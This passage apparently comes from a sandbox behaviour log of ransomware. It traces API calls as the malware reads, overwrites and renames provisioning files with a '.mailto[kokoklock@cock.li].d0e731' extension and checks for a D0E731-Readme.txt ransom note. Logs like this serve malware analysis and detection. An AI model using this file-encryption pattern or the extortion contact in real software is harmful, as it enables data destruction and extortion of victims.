_Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.398] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ad00) returned 1 [0086.398] RtlExitUserThread (Status=0x1) Thread: id = 1267 os_tid = 0xce4 [0085.211] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20 [0085.984] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.001] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c63f964 | out: lpFileSize=0x2c63f964*=729) returned 1 [0086.001] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x2d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.002] ReadFile (in: hFile=0x99c, lpBuffer=0x2c63f938, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x2c63f938*, lpNumberOfBytesRead=0x2c63f934*=0x4, lpOverlapped=0x0) returned 1 [0086.003] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0086.003] NtQuerySystemTime (in: CurrentTime=0x2c63f910 | out: CurrentTime=0x2c63f910*=132121176438985843) returned 0x0 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xdd2f0fda [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xc18d8acc [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xb4eef187 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x701e1605 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x6e6b301c [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x8e85626c [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x7cdf06d4 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xca4f44bb [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x5fe5ece6 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x42309fd7 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x1e5f5a79 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x9041bde2 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x9826aa16 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x1b70d751 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xe21bcf1f [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x4bfc50ce [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xd4c0f6be [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x3e5f0b15 [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x525b3cbb [0086.003] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x8f39ac16 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x5c0dde31 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xc4308bc [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xfe41d9e8 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xbe9db995 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x81738505 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0xd0f12a11 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x5011ca0c [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x5252a708 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x6fab60d0 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x80a36bc5 [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x9a665ee [0086.004] RtlRandom (in: Seed=0x2c63f91c | out: Seed=0x2c63f91c) returned 0x7b05d871 [0086.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.014] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x2c63f910, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c63f910*=0x2d9, lpOverlapped=0x0) returned 1 [0086.014] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c63f8d8 | out: lpNewFilePointer=0x0) returned 1 [0086.014] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d9, lpNumberOfBytesWritten=0x2c63f90c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c63f90c*=0x2d9, lpOverlapped=0x0) returned 1 [0086.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c63f908, lpOverlapped=0x0 | out: lpBuffer=0x55dd8a8*, lpNumberOfBytesWritten=0x2c63f908*=0x20, lpOverlapped=0x0) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x55dd538*, lpNumberOfBytesWritten=0x2c63f934*=0x8, lpOverlapped=0x0) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x2c63f94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x2c63f94c*, lpNumberOfBytesWritten=0x2c63f934*=0x4, lpOverlapped=0x0) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c63f934*=0x4, lpOverlapped=0x0) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c63f934*=0x6c, lpOverlapped=0x0) returned 1 [0086.015] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2c63f934*=0x20, lpOverlapped=0x0) returned 1 [0086.016] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c63f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c63f934*=0x4, lpOverlapped=0x0) returned 1 [0086.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0086.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd538) returned 1 [0086.016] CloseHandle (hObject=0x99c) returned 1 [0086.026] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18c) returned 0x341a7f8 [0086.026] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" [0086.026] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.026] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.027] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.027] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.027] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.027] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.027] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.027] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9280) returned 1 [0086.027] RtlExitUserThread (Status=0x1) Thread: id = 1268 os_tid = 0xb6c [0085.212] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.362] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.362] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c6bfdcc | out: lpFileSize=0x2c6bfdcc*=714) returned 1 [0086.362] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.362] ReadFile (in: hFile=0xa30, lpBuffer=0x2c6bfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x2c6bfda0*, lpNumberOfBytesRead=0x2c6bfd9c*=0x4, lpOverlapped=0x0) returned 1 [0086.364] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc90 [0086.364] NtQuerySystemTime (in: CurrentTime=0x2c6bfd78 | out: CurrentTime=0x2c6bfd78*=132121176442579273) returned 0x0 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xe0495d7a [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x9809d6eb [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x8e29e2d3 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x42e1ffa2 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x296390f5 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x56b3851a [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xe37fefdb [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x6c6a3a39 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x77802d71 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x4b481566 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xb6c61475 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x1e548190 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x32769f47 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x743cdbc5 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x156a565 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x559ac0f7 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xd02c677c [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xb93fc491 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xf928dc28 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x23073958 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x5f4c2f36 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xb5b54139 [0086.364] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x4ec781bb [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xd85cc987 [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x78777812 [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x178d9e13 [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x6e3ff752 [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x40f7c18d [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xe0951612 [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x91be1b6a [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0x18f04bff [0086.365] RtlRandom (in: Seed=0x2c6bfd84 | out: Seed=0x2c6bfd84) returned 0xedcd1988 [0086.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0086.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.375] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x2c6bfd78, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c6bfd78*=0x2ca, lpOverlapped=0x0) returned 1 [0086.375] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6bfd40 | out: lpNewFilePointer=0x0) returned 1 [0086.375] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x2c6bfd74, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c6bfd74*=0x2ca, lpOverlapped=0x0) returned 1 [0086.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.376] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c6bfd70, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2c6bfd70*=0x20, lpOverlapped=0x0) returned 1 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.376] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x55dddf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x55dddf8*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x8, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x2c6bfdb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x2c6bfdb4*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x4, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x4, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x6c, lpOverlapped=0x0) returned 1 [0086.376] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x55ddc68*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x20, lpOverlapped=0x0) returned 1 [0086.377] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c6bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c6bfd9c*=0x4, lpOverlapped=0x0) returned 1 [0086.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddd0) returned 1 [0086.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.377] CloseHandle (hObject=0xa30) returned 1 [0086.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x341a7f8 [0086.377] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" [0086.377] wcscat (in: 